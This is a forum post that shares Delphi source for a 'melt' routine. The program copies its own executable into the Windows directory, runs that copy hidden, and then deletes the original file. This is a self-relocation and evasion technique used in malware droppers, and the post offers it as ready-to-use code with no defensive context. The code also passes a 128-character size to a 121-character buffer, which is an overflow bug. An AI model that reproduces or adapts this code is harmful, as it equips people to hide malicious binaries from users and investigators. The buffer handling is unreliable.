Author Topic: Melt File  (Read 6638 times)

0 Members and 1 Guest are viewing this topic.

Offline Axon

  • VIP
  • King
  • *
  • Posts: 2047
  • Cookies: 319
    • View Profile
Melt File
« on: September 30, 2012, 08:12:00 pm »
Author: Lttcoder


Code: [Select]
{
  Author: Lttcoder
  Website: opensc.ws
}


program Melt;


{$APPTYPE CONSOLE}


uses
  Windows;


var
  NewLocation : PAnsiChar;


function ShellExecuteA(HWND: LongWord; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll';


function GetWinDir : String;
var
  WinDir : Array [0..120] of Char;
begin
  GetWindowsDirectory(WinDir, 128);
  Result := string(WinDir) + '\';
end;


begin
  NewLocation := PAnsiChar(GetWinDir + 'NewFile.exe');
  if ParamStr(0) <> NewLocation then
  begin
    CopyFile(PAnsiChar(ParamStr(0)), NewLocation, False);
    ShellExecuteA(0, 'open', NewLocation, PAnsiChar(ParamStr(0)), nil, 0);
    Halt(0)
  end
  else
  begin
    DeleteFile(PAnsiChar(ParamStr(1)));
  end;
  MessageBox(0,PAnsiChar(ParamStr(0)),'',0);
end.
« Last Edit: September 30, 2012, 08:14:49 pm by Axon »